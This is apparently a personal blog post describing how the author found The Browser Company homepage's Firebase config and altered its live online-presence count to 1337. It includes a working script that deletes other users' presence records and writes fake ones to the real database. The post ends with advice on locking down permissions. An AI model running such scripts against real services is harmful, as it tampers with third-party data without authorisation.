Today I decided to check what The Browser Company was up to. I don’t know much about them other than I like their company’s name and marketing. I’ve never used their products. When I looked at their homepage, I noticed something that caught my eye. They showed users' cursors moving around as blue pixels and an online presence count. Right away, I wondered if I could draw a hello message on their homepage using the cursors.
The Browser Company homepage
Exploring
I opened the Firefox dev tools and saw a WebSocket connection that is used to retrieve a list of presences and to tell the website that there is an active viewer. When I looked at the URL of the WebSocket, I realized that the page was using Firebase to maintain state.
{
"t": "d",
"d": {
"b": {
"p": "presence/-OWNDyLkcVtyt-x9p5JK",
"d": {
"online": true,
"timestamp": 1753834439219
}
},
"a": "d"
}
}
Example payload of presence state
After realizing that Firebase was being used, I decided to query the database. This is fairly easy to do when an app uses Firebase. I opened the Firefox debugger and searched for the app identifier that I saw in the WebSocket URL. A Firebase WebSocket URL is formed like this:
wss://HOSTNAME.firebaseio.com/.ws?v=VERSION&p=1:PROJECT_NUMBER:web:PROJECT_ID&ns=DATABASE
I searched for the DATABASE value in the Firefox debugger, and found where the Firebase config was
defined. Doing a bit more snooping revealed that the cursors are not real, but instead generated.
export const PixelTrail: React.FC<PixelTrailProps> = ({
pixelSize = 20,
fadeDuration = 500,
delay = 0,
pixelColor = '#0C50FF',
simulatedCursorTrailLength = 35, // Number of "pixels" in a simulated cursor trail
simulatedCursorTrailInterval = 1500, // Cursor regenerating interval (was 1000)
simulatedCursorTrailSpeed = 175, // ms per step for simulated cursor trail movement
maxConcurrentSimulatedCursorTrails = 8,
})
Code from the page
While I was a bit bummed I couldn’t draw anything, I decided to still make my presence known. I chose to set the online presence count be 1337.
Scripting
Using the Firebase config I found, I could connect to Firebase to query the presence documents. I used the Firebase SDK to write a script to do this.
// Connect to Firebase
const app = initializeApp(firebaseConfig);
const db = getDatabase(app);
// Get a reference to the presence documents
const presenceRef = ref(db, "presence");
const targetCount = 1337;
while (true) {
// Query the database for the presence documents
const snapshot = await get(presenceRef);
const data = snapshot.val();
// Get list of keys of documents
const keys = Object.keys(data);
let count = keys.length;
// Bulk delete keys if we are above 1337
if (count > targetCount) {
const extra = count - targetCount;
const toDelete = keys.slice(0, extra);
const updates = {};
for (const key of toDelete) {
updates[`/presence/${key}`] = null;
}
await update(ref(db), updates);
}
// Bulk create keys if we are above 1337
if (count < targetCount) {
const needed = targetCount - count;
const updates = {};
for (let i = 0; i < needed; i++) {
const newRef = push(presenceRef);
// Set the timestamp into the future so we don't have
// to frequently send online presence updates.
updates[`/presence/${newRef.key}`] = {
timestamp: Date.now() + 500000,
online: true,
};
}
await update(ref(db), updates);
}
}
1337ing
When I ran this script the online presence count almost immediately changed to 1337, mission success. I didn’t want to be bothersome to them, so I only ran it for a short period. While this wasn’t anything serious, it’s a reminder not to trust user input. Anything you send to the client can be viewed and modified. Always keep tight permissions and limit access as much as possible.
